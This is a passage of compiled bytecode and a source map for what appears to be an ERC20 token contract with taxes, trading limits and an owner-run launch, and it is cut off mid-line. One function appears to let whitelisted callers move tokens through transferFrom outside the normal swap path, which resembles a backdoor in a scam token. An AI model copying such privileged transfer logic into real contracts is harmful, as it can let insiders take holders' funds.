4801561031557600080fd5b50610271610324366004611591565b6105c4565b34801561033557600080fd5b50610271610813565b34801561034a57600080fd5b506101a1610359366004611591565b610876565b34801561036a57600080fd5b506101c760125481565b34801561038057600080fd5b50600f546101a190600160b01b900460ff1681565b610271610883565b3480156103a957600080fd5b506101c76103b836600461161b565b6001600160a01b03918216600090815260156020908152604080832093909416825291909152205490565b3480156103ef57600080fd5b506101a16103fe366004611591565b610bab565b6000610410338484610bb5565b5060015b92915050565b60006104286009600a61174e565b610435906298968061175d565b905090565b6000610447848484610c3c565b6001600160a01b03841660009081526015602090815260408083203380855292529091205461048191869161047c9086611118565b610bb5565b5060019392505050565b6000546001600160a01b031633146104be5760405162461bcd60e51b81526004016104b590611774565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105325760405162461bcd60e51b81526004016104b590611774565b61053e6009600a61174e565b61054b906298968061175d565b60145561055a6009600a61174e565b610567906298968061175d565b601355600f805460ff60b01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105a46009600a61174e565b6105b1906298968061175d565b60405190815260200160405180910390a1565b6040805160028082526060820183526000926020830190803683375050600d54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa15801561062e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065291906117a9565b81600081518110610665576106656117c6565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610699576106996117c6565b60200260200101906001600160a01b031690816001600160a01b0316815250506000816001815181106106ce576106ce6117c6565b602090810291909101810151336000908152601890925260409091205490915060ff1661076557600d5460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de9590859061072e9060009087908a904290600401611820565b6000604051808303818588803b15801561074757600080fd5b505af115801561075b573d6000803e3d6000fd5b505050505061080d565b806001600160a01b03166323b872dd8584600181518110610788576107886117c6565b60209081029190910101516040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604481018690526064016020604051808303816000875af11580156107e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080b9190611855565b505b50505050565b600f546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610860576040519150601f19603f3d011682016040523d82523d6000602084013e610865565b606091505b505090508061087357600080fd5b50565b6000610410338484610c3c565b6000546001600160a01b031633146108ad5760405162461bcd60e51b81526004016104b590611774565b600f54600160a01b900460ff16156108c457600080fd5b600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093b91906117a9565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c191906117a9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3291906117a9565b600e80546001600160a01b0319166001600160a01b03928316908117909155600d5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610a99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abd9190611855565b50306000818152601560209081526040808320600d80546001600160a01b039081168652918452828520600019905554858552601690935292205491169163f305d719913491906040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610b68573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b8d9190611877565b5050600f805463ff0000ff60a01b1916630100000160a01b17905550565b6000306104818482855b6001600160a01b038316610bc857600080fd5b6001600160a01b038216610bdb57600080fd5b6001600160a01b0383811660008181526015602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c4f57600080fd5b6001600160a01b038216610c6257600080fd5b60008111610c6f57600080fd5b600080546001600160a01b03858116911614801590610c9c57506000546001600160a01b03848116911614155b15610fd557610cbe6064610cb8610cb1611161565b859061119f565b90611221565b600f54909150600160a01b900460ff16610d1a576001600160a01b03841660009081526018602052604090205460ff1680610d1157506001600160a01b03831660009081526018602052604090205460ff165b610d1a57600080fd5b600f54600160b01b900460ff1615610d8b57600d546001600160a01b03848116911614801590610d585750600e546001600160a01b03848116911614155b15610d8b57326000908152601760205260409020544311610d7857600080fd5b3260009081526017602052604090204390555b600e546001600160a01b038581169116148015610db65750600d546001600160a01b03848116911614155b8015610ddb57506001600160a01b03831660009081526018602052604090205460ff16155b15610e5657601454821115610def57600080fd5b60135482610e12856001600160a01b031660009081526016602052604090205490565b610e1c91906118a5565b1115610e2757600080fd5b600c8054906000610e37836118b8565b9190505550600b54600c541115610e5657600f805460ff60b01b191690555b600e546001600160a01b038481169116148015610e7c57506001600160a01b0384163014155b15610e9457610e916064610cb8610cb1611263565b90505b30600090815260166020526040902054601254600f5490821190600160a81b900460ff16158015610ece5750600f54600160b81b900460ff165b8015610ee75750600e546001600160a01b038681169116145b8015610ef05750805b8015610f1557506001600160a01b03861660009081526018602052604090205460ff16155b8015610f3a57506001600160a01b03851660009081526018602052604090205460ff16155b15610fd2576010546001600160a01b0316600090815260166020526040812054610f69906103e8905b9061119f565b90506000610f828260115461111890919063ffffffff16565b90506000610f90858361129a565b905047610fa5610fa0898461129a565b6112af565b6000610fbb6064610cb86050610f634787611118565b90508015610fcc57610fcc81611429565b50505050505b50505b801561104f5730600090815260166020526040902054610ff59082611467565b30600081815260166020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110469085815260200190565b60405180910390a35b6001600160a01b0384166000908152601660205260409020546110729083611118565b6001600160a01b0385166000908152601660205260409020556110b76110988383611118565b6001600160a01b03851660009081526016602052604090205490611467565b6001600160a01b0380851660008181526016602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111018585611118565b60405190815260200160405180910390a350505050565b600061115a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114c6565b9392505050565b6000600a54600c5411611175575060085490565b600a54600c5411801561118c5750600654600c5411155b15611198575060045490565b5060025490565b6000826000036111b157506000610414565b60006111bd838561175d565b9050826111ca85836118d1565b1461115a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b5565b600061115a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611500565b6000600a54600c5411611277575060075490565b600954600c5411801561128e5750600554600c5411155b15611198575060035490565b60008183116112a9578261115a565b50919050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f7576112f76117c6565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611350573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137491906117a9565b81600181518110611387576113876117c6565b6001600160a01b039283166020918202929092010152600d546113ad9130911684610bb5565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e69085906000908690309042906004016118f3565b600060405180830381600087803b15801561140057600080fd5b505af1158015611414573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611463573d6000803e3d6000fd5b5050565b60008061147483856118a5565b90508381101561115a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b5565b600081848411156114ea5760405162461bcd60e51b81526004016104b5919061152e565b5060006114f7848661192f565b95945050505050565b600081836115215760405162461bcd60e51b81526004016104b5919061152e565b5060006114f784866118d1565b600060208083528351808285015260005b8181101561155b5785810183015185820160400152820161153f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461087357600080fd5b600080604083850312156115a457600080fd5b82356115af8161157c565b946020939093013593505050565b6000806000606084860312156115d257600080fd5b83356115dd8161157c565b925060208401356115ed8161157c565b929592945050506040919091013590565b60006020828403121561161057600080fd5b813561115a8161157c565b6000806040838503121561162e57600080fd5b82356116398161157c565b915060208301356116498161157c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116a557816000190482111561168b5761168b611654565b8085161561169857918102915b93841c939080029061166f565b509250929050565b6000826116bc57506001610414565b816116c957506000610414565b81600181146116df57600281146116e957611705565b6001915050610414565b60ff8411156116fa576116fa611654565b50506001821b610414565b5060208310610133831016604e8410600b8410161715611728575081810a610414565b611732838361166a565b806000190482111561174657611746611654565b029392505050565b600061115a60ff8416836116ad565b808202811582820484141761041457610414611654565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156117bb57600080fd5b815161115a8161157c565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156118155781516001600160a01b0316875295820195908201906001016117f0565b509495945050505050565b84815260806020820152600061183960808301866117dc565b6001600160a01b03949094166040830152506060015292915050565b60006020828403121561186757600080fd5b8151801515811461115a57600080fd5b60008060006060848603121561188c57600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561041457610414611654565b6000600182016118ca576118ca611654565b5060010190565b6000826118ee57634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a06040820152600061191260a08301866117dc565b6001600160a01b0394909416606083015250608001529392505050565b818103818111156104145761041461165456fea264697066735822122047c8e7a479f2cc71fc401a47dfab5b9bed2acbaa046a6719ce6594a40d3c5d6764736f6c63430008130033

Deployed Bytecode Sourcemap

3787:10143:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5587:115;;;;;;;;;;-1:-1:-1;5689:5:0;;;;;;;;;;;;-1:-1:-1;;;5689:5:0;;;;5587:115;;;;;;;:::i;:::-;;;;;;;;9821:193;;;;;;;;;;-1:-1:-1;9821:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9821:193:0;1023:187:1;4942:49:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4942:49:0;1215:177:1;6005:136:0;;;;;;;;;;;;;:::i;8556:301::-;;;;;;;;;;-1:-1:-1;8556:301:0;;;;;:::i;:::-;;:::i;6149:115::-;;;;;;;;;;-1:-1:-1;6149:115:0;;4748:1;2000:36:1;;1988:2;1973:18;6149:115:0;1858:184:1;5837:160:0;;;;;;;;;;-1:-1:-1;5837:160:0;;;;;:::i;:::-;-1:-1:-1;;;;;5971:18:0;5939:7;5971:18;;;:9;:18;;;;;;;5837:160;3632:148;;;;;;;;;;;;;:::i;:::-;;8324:224;;;;;;;;;;;;;:::i;5118:49::-;;;;;;;;;;;;;;;;3418:79;;;;;;;;;;-1:-1:-1;3456:7:0;3483:6;3418:79;;-1:-1:-1;;;;;3483:6:0;;;2445:51:1;;2433:2;2418:18;3418:79:0;2299:203:1;5060:51:0;;;;;;;;;;;;;;;;5710:119;;;;;;;;;;-1:-1:-1;5814:7:0;;;;;;;;;;;;-1:-1:-1;;;5814:7:0;;;;5710:119;;10179:557;;;;;;;;;;-1:-1:-1;10179:557:0;;;;;:::i;:::-;;:::i;10022:149::-;;;;;;;;;;;;;:::i;8865:199::-;;;;;;;;;;-1:-1:-1;8865:199:0;;;;;:::i;:::-;;:::i;4998:55::-;;;;;;;;;;;;;;;;4588:39;;;;;;;;;;-1:-1:-1;4588:39:0;;;;-1:-1:-1;;;4588:39:0;;;;;;7718:598;;;:::i;9350:184::-;;;;;;;;;;-1:-1:-1;9350:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;9499:18:0;;;9467:7;9499:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9350:184;6864:191;;;;;;;;;;-1:-1:-1;6864:191:0;;;;;:::i;:::-;;:::i;9821:193::-;9923:4;9945:39;3075:10;9968:7;9977:6;9945:8;:39::i;:::-;-1:-1:-1;10002:4:0;9821:193;;;;;:::o;6005:136::-;6094:7;4804:15;4748:1;4804:2;:15;:::i;:::-;4791:28;;:10;:28;:::i;:::-;6119:14;;6005:136;:::o;8556:301::-;8681:4;8703:36;8713:6;8721:9;8732:6;8703:9;:36::i;:::-;-1:-1:-1;;;;;8781:19:0;;;;;;:11;:19;;;;;;;;3075:10;8781:33;;;;;;;;;8750:77;;8759:6;;8781:45;;8819:6;8781:37;:45::i;:::-;8750:8;:77::i;:::-;-1:-1:-1;8845:4:0;8556:301;;;;;:::o;3632:148::-;3545:6;;-1:-1:-1;;;;;3545:6:0;3075:10;3545:22;3537:67;;;;-1:-1:-1;;;3537:67:0;;;;;;;:::i;:::-;;;;;;;;;3739:1:::1;3723:6:::0;;3702:40:::1;::::0;-1:-1:-1;;;;;3723:6:0;;::::1;::::0;3702:40:::1;::::0;3739:1;;3702:40:::1;3770:1;3753:19:::0;;-1:-1:-1;;;;;;3753:19:0::1;::::0;;3632:148::o;8324:224::-;3545:6;;-1:-1:-1;;;;;3545:6:0;3075:10;3545:22;3537:67;;;;-1:-1:-1;;;3537:67:0;;;;;;;:::i;:::-;4804:15:::1;4748:1;4804:2;:15;:::i;:::-;4791:28;::::0;:10:::1;:28;:::i;:::-;8401:12;:22:::0;4804:15:::1;4748:1;4804:2;:15;:::i;:::-;4791:28;::::0;:10:::1;:28;:::i;:::-;8434:14;:24:::0;8469:20:::1;:28:::0;;-1:-1:-1;;;;8469:28:0::1;::::0;;8513:27:::1;4804:15;4748:1;4804:2;:15;:::i;:::-;4791:28;::::0;:10:::1;:28;:::i;:::-;8513:27;::::0;1361:25:1;;;1349:2;1334:18;8513:27:0::1;;;;;;;8324:224::o:0;10179:557::-;10275:16;;;10289:1;10275:16;;;;;;;;10251:21;;10275:16;;;;;;;;-1:-1:-1;;10312:15:0;;:22;;;-1:-1:-1;;;10312:22:0;;;;10251:40;;-1:-1:-1;;;;;;10312:15:0;;;;:20;;-1:-1:-1;10312:22:0;;;;;;;;;;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10302:4;10307:1;10302:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1;;;;;10302:32:0;;;-1:-1:-1;;;;;10302:32:0;;;;;10363:4;10345;10350:1;10345:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;10345:23:0;;;-1:-1:-1;;;;;10345:23:0;;;;;10379:12;10401:4;10406:1;10401:7;;;;;;;;:::i;:::-;;;;;;;;;;;;10446:10;10427:30;;;;:18;:30;;;;;;;;10401:7;;-1:-1:-1;10427:30:0;;10422:307;;10474:15;;:195;;-1:-1:-1;;;10474:195:0;;-1:-1:-1;;;;;10474:15:0;;;;:66;;10548:6;;10474:195;;:15;;10595:4;;10618:2;;10639:15;;10474:195;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10422:307;;;10688:5;-1:-1:-1;;;;;10688:18:0;;10707:2;10711:4;10716:1;10711:7;;;;;;;;:::i;:::-;;;;;;;;;;;10688:39;;-1:-1:-1;;;;;;10688:39:0;;;;;;;-1:-1:-1;;;;;6708:15:1;;;10688:39:0;;;6690:34:1;6760:15;;6740:18;;;6733:43;6792:18;;;6785:34;;;6625:18;;10688:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10422:307;10240:496;;10179:557;;:::o;10022:149::-;10089:10;;10081:58;;10066:9;;-1:-1:-1;;;;;10089:10:0;;10113:21;;10066:9;10081:58;10066:9;10081:58;10113:21;10089:10;10081:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10065:74;;;10158:4;10150:13;;;;;;10054:117;10022:149::o;8865:199::-;8970:4;8992:42;3075:10;9016:9;9027:6;8992:9;:42::i;7718:598::-;3545:6;;-1:-1:-1;;;;;3545:6:0;3075:10;3545:22;3537:67;;;;-1:-1:-1;;;3537:67:0;;;;;;;:::i;:::-;7822:11:::1;::::0;-1:-1:-1;;;7822:11:0;::::1;;;7821:12;7813:21;;;::::0;::::1;;7879:15;;;;;;;;;-1:-1:-1::0;;;;;7879:15:0::1;-1:-1:-1::0;;;;;7879:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7861:55:0::1;;7925:4;7932:15;;;;;;;;;-1:-1:-1::0;;;;;7932:15:0::1;-1:-1:-1::0;;;;;7932:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7861:94;::::0;-1:-1:-1;;;;;;7861:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7552:15:1;;;7861:94:0::1;::::0;::::1;7534:34:1::0;7604:15;;7584:18;;;7577:43;7469:18;;7861:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7845:13;:110:::0;;-1:-1:-1;;;;;;7845:110:0::1;-1:-1:-1::0;;;;;7845:110:0;;::::1;::::0;;::::1;::::0;;;8004:15:::1;::::0;7966:71:::1;::::0;-1:-1:-1;;;7966:71:0;;8004:15;::::1;7966:71;::::0;::::1;7805:51:1::0;-1:-1:-1;;7872:18:1;;;7865:34;7845:110:0;7966:29:::1;::::0;7778:18:1;;7966:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;8068:4:0::1;8112:1;8048:26:::0;;;:11:::1;:26;::::0;;;;;;;8083:15:::1;::::0;;-1:-1:-1;;;;;8083:15:0;;::::1;8048:52:::0;;;;;;;;-1:-1:-1;;8048:66:0;;8125:15;5971:18;;;:9;:18;;;;;;8125:15;::::1;::::0;:31:::1;::::0;8164:9:::1;::::0;8068:4;8125:125:::1;::::0;-1:-1:-1;;;;;;8125:125:0::1;::::0;;;;;;-1:-1:-1;;;;;8269:15:1;;;8125:125:0::1;::::0;::::1;8251:34:1::0;8301:18;;;8294:34;8216:1:0::1;8344:18:1::0;;;8337:34;;;8387:18;;;8380:34;8222:10:0::1;8430:19:1::0;;;8423:44;8234:15:0::1;8483:19:1::0;;;8476:35;8185:19;;8125:125:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8261:11:0::1;:18:::0;;-1:-1:-1;;;;8290:18:0;-1:-1:-1;;;8290:18:0;;;-1:-1:-1;7718:598:0:o;6864:191::-;6937:4;6978;6994:31;7002:7;6978:4;7018:6;9542:271;-1:-1:-1;;;;;9649:19:0;;9641:28;;;;;;-1:-1:-1;;;;;9688:21:0;;9680:30;;;;;;-1:-1:-1;;;;;9721:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9773:32;;1361:25:1;;;9773:32:0;;1334:18:1;9773:32:0;;;;;;;9542:271;;;:::o;10844:2555::-;-1:-1:-1;;;;;10946:18:0;;10938:27;;;;;;-1:-1:-1;;;;;10984:16:0;;10976:25;;;;;;11029:1;11020:6;:10;11012:19;;;;;;11042:17;3483:6;;-1:-1:-1;;;;;11088:15:0;;;3483:6;;11088:15;;;;:32;;-1:-1:-1;3456:7:0;3483:6;-1:-1:-1;;;;;11107:13:0;;;3483:6;;11107:13;;11088:32;11084:1946;;;11149:30;11175:3;11149:21;11160:9;:7;:9::i;:::-;11149:6;;:10;:21::i;:::-;:25;;:30::i;:::-;11201:11;;11137:42;;-1:-1:-1;;;;11201:11:0;;;;11196:112;;-1:-1:-1;;;;;11241:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;11269:22:0;;;;;;:18;:22;;;;;;;;11241:50;11233:59;;;;;;11328:20;;-1:-1:-1;;;11328:20:0;;;;11324:312;;;11387:15;;-1:-1:-1;;;;;11373:30:0;;;11387:15;;11373:30;;;;:62;;-1:-1:-1;11421:13:0;;-1:-1:-1;;;;;11407:28:0;;;11421:13;;11407:28;;11373:62;11369:252;;;11498:9;11469:39;;;;:28;:39;;;;;;11511:12;-1:-1:-1;11461:63:0;;;;;;11576:9;11547:39;;;;:28;:39;;;;;11589:12;11547:54;;11369:252;11664:13;;-1:-1:-1;;;;;11656:21:0;;;11664:13;;11656:21;:55;;;;-1:-1:-1;11695:15:0;;-1:-1:-1;;;;;11681:30:0;;;11695:15;;11681:30;;11656:55;:82;;;;-1:-1:-1;;;;;;11716:22:0;;;;;;:18;:22;;;;;;;;11715:23;11656:82;11652:380;;;11778:12;;11768:6;:22;;11760:31;;;;;;11844:14;;11834:6;11818:13;11828:2;-1:-1:-1;;;;;5971:18:0;5939:7;5971:18;;;:9;:18;;;;;;;5837:160;11818:13;:22;;;;:::i;:::-;:40;;11810:49;;;;;;11880:9;:11;;;:9;:11;;;:::i;:::-;;;;;;11926:18;;11914:9;;:30;11910:107;;;11969:20;:28;;-1:-1:-1;;;;11969:28:0;;;11910:107;12058:13;;-1:-1:-1;;;;;12052:19:0;;;12058:13;;12052:19;:43;;;;-1:-1:-1;;;;;;12075:20:0;;12090:4;12075:20;;12052:43;12048:127;;;12128:31;12155:3;12128:22;12139:10;:8;:10::i;12128:31::-;12116:43;;12048:127;12240:4;12191:28;5971:18;;;:9;:18;;;;;;12299:17;;12336:6;;12276:40;;;;-1:-1:-1;;;12336:6:0;;;;12335:7;:22;;;;-1:-1:-1;12346:11:0;;-1:-1:-1;;;12346:11:0;;;;12335:22;:45;;;;-1:-1:-1;12367:13:0;;-1:-1:-1;;;;;12361:19:0;;;12367:13;;12361:19;12335:45;:56;;;;;12384:7;12335:56;:85;;;;-1:-1:-1;;;;;;12396:24:0;;;;;;:18;:24;;;;;;;;12395:25;12335:85;:112;;;;-1:-1:-1;;;;;;12425:22:0;;;;;;:18;:22;;;;;;;;12424:23;12335:112;12331:688;;;12502:7;;-1:-1:-1;;;;;12502:7:0;12468:21;5971:18;;;:9;:18;;;;;;12492:27;;12515:3;;12492:18;:22;;:27::i;:::-;12468:51;;12538:18;12559:30;12575:13;12559:11;;:15;;:30;;;;:::i;:::-;12538:51;;12608:21;12632:36;12636:20;12657:10;12632:3;:36::i;:::-;12608:60;-1:-1:-1;12708:21:0;12748:44;12765:26;12769:6;12608:60;12765:3;:26::i;:::-;12748:16;:44::i;:::-;12811:22;12836:54;12886:3;12836:45;12878:2;12836:37;:21;12862:10;12836:25;:37::i;:54::-;12811:79;-1:-1:-1;12913:18:0;;12909:95;;12956:28;12969:14;12956:12;:28::i;:::-;12449:570;;;;;12331:688;11122:1908;;11084:1946;13046:13;;13042:168;;13119:4;13101:24;;;;:9;:24;;;;;;:39;;13130:9;13101:28;:39::i;:::-;13092:4;13074:24;;;;:9;:24;;;;;;;:66;;;;13158:40;;-1:-1:-1;;;;;13158:40:0;;;;;;;13188:9;1361:25:1;;1349:2;1334:18;;1215:177;13158:40:0;;;;;;;;13042:168;-1:-1:-1;;;;;13240:15:0;;;;;;:9;:15;;;;;;:27;;13260:6;13240:19;:27::i;:::-;-1:-1:-1;;;;;13222:15:0;;;;;;:9;:15;;;;;:45;13294:40;13312:21;:6;13323:9;13312:10;:21::i;:::-;-1:-1:-1;;;;;13294:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;13278:13:0;;;;;;;:9;:13;;;;;:56;;;;13350:41;;;13369:21;:6;13380:9;13369:10;:21::i;:::-;13350:41;;1361:25:1;;;1349:2;1334:18;13350:41:0;;;;;;;10927:2472;10844:2555;;;:::o;402:136::-;460:7;487:43;491:1;494;487:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;480:50;402:136;-1:-1:-1;;;402:136:0:o;7393:317::-;7434:7;7471:15;;7458:9;;:28;7454:82;;-1:-1:-1;7510:14:0;;;7393:317::o;7454:82::-;7564:15;;7552:9;;:27;:64;;;;;7596:20;;7583:9;;:33;;7552:64;7548:123;;;-1:-1:-1;7640:19:0;;;7393:317::o;7548:123::-;-1:-1:-1;7690:12:0;;;7393:317::o;740:246::-;798:7;822:1;827;822:6;818:47;;-1:-1:-1;852:1:0;845:8;;818:47;875:9;887:5;891:1;887;:5;:::i;:::-;875:17;-1:-1:-1;920:1:0;911:5;915:1;875:17;911:5;:::i;:::-;:10;903:56;;;;-1:-1:-1;;;903:56:0;;9527:2:1;903:56:0;;;9509:21:1;9566:2;9546:18;;;9539:30;9605:34;9585:18;;;9578:62;-1:-1:-1;;;9656:18:1;;;9649:31;9697:19;;903:56:0;9325:397:1;992:132:0;1050:7;1077:39;1081:1;1084;1077:39;;;;;;;;;;;;;;;;;:3;:39::i;7063:322::-;7105:7;7142:15;;7129:9;;:28;7125:83;;-1:-1:-1;7181:15:0;;;7063:322::o;7125:83::-;7236:16;;7224:9;;:28;:66;;;;;7269:21;;7256:9;;:34;;7224:66;7220:126;;;-1:-1:-1;7314:20:0;;;7063:322::o;6751:105::-;6808:7;6838:1;6834;:5;6833:15;;6847:1;6833:15;;;-1:-1:-1;6843:1:0;6751:105;-1:-1:-1;6751:105:0:o;13407:483::-;5521:6;:13;;-1:-1:-1;;;;5521:13:0;-1:-1:-1;;;5521:13:0;;;13509:16:::1;::::0;;13523:1:::1;13509:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13509:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13509:16:0::1;13485:40;;13554:4;13536;13541:1;13536:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13536:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13580:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13580:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13536:7;;13580:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13570:4;13575:1;13570:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13570:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13645:15:::1;::::0;13613:62:::1;::::0;13630:4:::1;::::0;13645:15:::1;13663:11:::0;13613:8:::1;:62::i;:::-;13686:15;::::0;:196:::1;::::0;-1:-1:-1;;;13686:196:0;;-1:-1:-1;;;;;13686:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13767:11;;13686:15:::1;::::0;13809:4;;13836::::1;::::0;13856:15:::1;::::0;13686:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5557:6:0;:14;;-1:-1:-1;;;;5557:14:0;;;-1:-1:-1;;;;13407:483:0:o;10744:92::-;10801:10;;:27;;-1:-1:-1;;;;;10801:10:0;;;;:27;;;;;10821:6;;10801:10;:27;:10;:27;10821:6;10801:10;:27;;;;;;;;;;;;;;;;;;;;;10744:92;:::o;217:179::-;275:7;;307:5;311:1;307;:5;:::i;:::-;295:17;;336:1;331;:6;;323:46;;;;-1:-1:-1;;;323:46:0;;10516:2:1;323:46:0;;;10498:21:1;10555:2;10535:18;;;10528:30;10594:29;10574:18;;;10567:57;10641:18;;323:46:0;10314:351:1;544:190:0;630:7;666:12;658:6;;;;650:29;;;;-1:-1:-1;;;650:29:0;;;;;;;;:::i;:::-;-1:-1:-1;690:9:0;702:5;706:1;702;:5;:::i;:::-;690:17;544:190;-1:-1:-1;;;;;544:190:0:o;1130:189::-;1216:7;1251:12;1244:5;1236:28;;;;-1:-1:-1;;;1236:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1275:9:0;1287:5;1291:1;1287;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;21